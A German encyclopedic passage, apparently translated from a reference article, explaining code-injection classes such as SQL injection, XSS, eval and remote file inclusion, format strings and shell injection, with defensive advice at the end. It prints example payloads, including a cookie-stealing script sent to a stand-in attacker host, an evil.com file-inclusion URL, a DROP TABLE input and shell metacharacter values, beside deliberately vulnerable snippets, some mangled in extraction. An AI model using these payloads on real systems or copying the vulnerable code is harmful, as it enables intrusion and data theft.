SQL-InjektionBearbeiten
SQL-Injektion nutzt die Syntax von SQL, um Befehle einzuschleusen, die eine Datenbank lesen oder verändern oder die Bedeutung der ursprünglichen Abfrage beeinträchtigen können.
Betrachten wir zum Beispiel eine Webseite mit zwei Feldern, in die Benutzer einen Benutzernamen und ein Passwort eingeben können. Der Code hinter der Seite generiert eine SQL-Abfrage, um das Kennwort mit der Liste der Benutzernamen abzugleichen:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
Wenn diese Abfrage irgendwelche Zeilen zurückgibt, wird der Zugang gewährt. Gibt der böswillige Benutzer jedoch einen gültigen Benutzernamen ein und fügt einen gültigen Code (password' OR '1'='1
) in das Feld „Passwort“ ein, sieht die resultierende Abfrage wie folgt aus:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
Im obigen Beispiel wird angenommen, dass „Passwort“ leer oder eine harmlose Zeichenfolge ist. „'1'='1'
“ wird immer wahr sein, und es werden viele Zeilen zurückgegeben, wodurch der Zugriff ermöglicht wird.
Die Technik kann verfeinert werden, um die Ausführung mehrerer Anweisungen oder sogar das Laden und Ausführen externer Programme zu ermöglichen.
Angenommen, es handelt sich um eine Abfrage mit folgendem Format:
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
Wenn ein Angreifer die folgenden Eingaben hat:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
wird die Abfrage wie folgt geparst:
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
Das Ergebnis ist, dass die Tabelle User
aus der Datenbank entfernt wird. Dies geschieht, weil das Symbol ;
das Ende eines Befehls und den Beginn eines neuen Befehls kennzeichnet. --
steht für den Beginn eines Kommentars.
Cross-Site-ScriptingBearbeiten
Code-Injection ist die böswillige Einspeisung oder Einführung von Code in eine Anwendung. Einige Webserver verfügen über ein Gästebuch-Skript, das kleine Nachrichten von Benutzern entgegennimmt und typischerweise Nachrichten wie folgende empfängt:
Very nice site!
Eine böswillige Person könnte jedoch von einer Code-Injection-Schwachstelle im Gästebuch wissen und eine Nachricht wie folgende eingeben:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Wenn ein anderer Benutzer die Seite aufruft, wird der injizierte Code ausgeführt. Dieser Code kann es dem Angreifer ermöglichen, sich als ein anderer Benutzer auszugeben. Derselbe Softwarefehler kann jedoch auch versehentlich von einem unbedarften Benutzer ausgelöst werden, was dazu führt, dass die Website fehlerhaften HTML-Code anzeigt.
HTML- und Script-Injection ist ein beliebtes Thema, das allgemein als „Cross-Site-Scripting“ oder „XSS“ bezeichnet wird. XSS bezieht sich auf einen Injektionsfehler, bei dem Benutzereingaben in ein Webskript oder etwas Ähnliches in die HTML-Ausgabe eingefügt werden, ohne auf HTML-Code oder Skripting geprüft zu werden.
Viele dieser Probleme hängen mit falschen Annahmen darüber zusammen, welche Eingabedaten möglich sind, oder mit den Auswirkungen spezieller Daten.
Schwachstellen durch dynamische AuswertungBearbeiten
Eine eval()
Injektionsschwachstelle tritt auf, wenn ein Angreifer die gesamte oder einen Teil einer Eingabezeichenkette kontrollieren kann, die in einen eval()
Funktionsaufruf eingespeist wird.
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
Das Argument von „eval
“ wird als PHP verarbeitet, so dass zusätzliche Befehle angehängt werden können. Wenn „arg“ beispielsweise auf „10; system('/bin/echo uh-oh')
“ gesetzt wird, wird zusätzlicher Code ausgeführt, der ein Programm auf dem Server ausführt, in diesem Fall „/bin/echo
„.
Object injectionEdit
PHP erlaubt die Serialisierung und Deserialisierung ganzer Objekte. Wenn nicht vertrauenswürdige Eingaben in die Deserialisierungsfunktion zugelassen werden, ist es möglich, bestehende Klassen im Programm zu überschreiben und bösartige Angriffe auszuführen. Ein solcher Angriff auf Joomla wurde 2013 entdeckt.
Remote file injectionEdit
Betrachten Sie dieses PHP-Programm (das eine per Anfrage spezifizierte Datei einschließt):
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
Das Beispiel könnte so gelesen werden, dass nur Farbdateien wie blue.php
und red.php
geladen werden, während Angreifer COLOR=http://evil.com/exploit
bereitstellen könnten, was PHP dazu veranlasst, die externe Datei zu laden.
Format specifier injectionEdit
Formatstring-Bugs treten am häufigsten auf, wenn ein Programmierer eine Zeichenkette mit vom Benutzer eingegebenen Daten ausgeben möchte. Der Programmierer kann fälschlicherweise printf(buffer)
anstelle von printf("%s", buffer)
schreiben. Die erste Version interpretiert buffer
als Format-String und analysiert alle darin enthaltenen Formatierungsanweisungen. Betrachten Sie das folgende kurze C-Programm, das eine lokale Variable char array password
hat, die ein Kennwort enthält; das Programm fragt den Benutzer nach einer ganzen Zahl und einer Zeichenkette und gibt dann die vom Benutzer angegebene Zeichenkette aus.
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Wenn die Benutzereingabe mit einer Liste von Formatspezifikationen wie %s%s%s%s%s%s%s%s
gefüllt wird, dann beginnt printf()
mit dem Lesen vom Stapel. Schließlich wird einer der %s
Formatspezifizierer auf die Adresse von password
zugreifen, die sich auf dem Stack befindet, und Password1
auf den Bildschirm ausgeben.
Shell InjectionEdit
Shell Injection (oder Befehlsinjektion) ist nach Unix-Shells benannt, gilt aber für die meisten Systeme, die es Software ermöglichen, eine Befehlszeile programmatisch auszuführen. Hier ein Beispiel für ein angreifbares tcsh-Skript:
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
Wenn das oben genannte Skript in der ausführbaren Datei ./check
gespeichert ist, wird der Shell-Befehl ./check " 1 ) evil"
versuchen, den injizierten Shell-Befehl evil
auszuführen, anstatt das Argument mit dem konstanten zu vergleichen. In diesem Fall ist der angegriffene Code derjenige, der versucht, den Parameter zu überprüfen, also genau der Code, der möglicherweise versucht hätte, den Parameter zu validieren, um sich gegen einen Angriff zu verteidigen.
Jede Funktion, die zum Zusammenstellen und Ausführen eines Shell-Befehls verwendet werden kann, ist ein potenzielles Mittel für einen Shell-Injection-Angriff. Dazu gehören system()
, StartProcess()
und System.Diagnostics.Process.Start()
.
Client-Server-Systeme wie die Interaktion von Webbrowsern mit Webservern sind potenziell anfällig für Shell-Injection. Betrachten Sie das folgende kurze PHP-Programm, das auf einem Webserver ausgeführt werden kann, um ein externes Programm namens funnytext
auszuführen, das ein vom Benutzer gesendetes Wort durch ein anderes ersetzt.
<?phppassthru("/bin/funnytext " . $_GET);
Das passthru
im obigen Beispiel setzt einen Shell-Befehl zusammen, der dann vom Webserver ausgeführt wird. Da ein Teil des zusammengesetzten Befehls aus der vom Webbrowser bereitgestellten URL übernommen wird, kann die URL bösartige Shell-Befehle einschleusen. Man kann auf verschiedene Weise Code in dieses Programm einschleusen, indem man die Syntax verschiedener Shell-Funktionen ausnutzt (diese Liste ist nicht vollständig):
Shell-Funktion | USER_INPUT Wert |
Resultierender Shell-Befehl | Erklärung |
---|---|---|---|
Sequentielle Ausführung | ; malicious_command |
/bin/funnytext ; malicious_command |
Ausführung von funnytext , dann Ausführung von malicious_command . |
Pipelines | | malicious_command |
/bin/funnytext | malicious_command |
Sendet die Ausgabe von funnytext als Eingabe an malicious_command . |
Befehlssubstitution | `malicious_command` |
/bin/funnytext `malicious_command` |
Sendet die Ausgabe von malicious_command als Argument an funnytext . |
Befehlssubstitution | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Sendet die Ausgabe von malicious_command als Argumente an funnytext . |
AND list | && malicious_command |
/bin/funnytext && malicious_command |
Führt malicious_command aus, wenn funnytext einen Exit-Status von 0 (Erfolg) liefert. |
OR list | || malicious_command |
/bin/funnytext || malicious_command |
Führt malicious_command aus, wenn funnytext einen Exit-Status ungleich Null zurückgibt (Fehler). |
Ausgabeumleitung | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
Überschreibt den Inhalt der Datei .bashrc mit der Ausgabe von funnytext . |
Eingabeumleitung | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
Sendet den Inhalt der Datei .bashrc als Eingabe an funnytext . |
Einige Sprachen bieten Funktionen, um Zeichenketten, die zum Aufbau von Shell-Befehlen verwendet werden, richtig zu escapen oder zu zitieren:
- PHP:
escapeshellarg()
undescapeshellcmd()
- Python:
shlex.quote()
Das bedeutet jedoch, dass die Programmierer diese Funktionen kennen/lernen und daran denken müssen, sie jedes Mal zu verwenden, wenn sie Shell-Befehle verwenden. Neben der Verwendung dieser Funktionen wird auch empfohlen, die Benutzereingaben zu validieren oder zu bereinigen.
Eine sicherere Alternative ist die Verwendung von APIs, die externe Programme direkt und nicht über eine Shell ausführen, wodurch die Möglichkeit der Shell-Injektion verhindert wird. Diese APIs neigen jedoch dazu, verschiedene Komfortfunktionen von Shells nicht zu unterstützen und/oder im Vergleich zur prägnanten Shell-Syntax umständlicher/ausführlicher zu sein.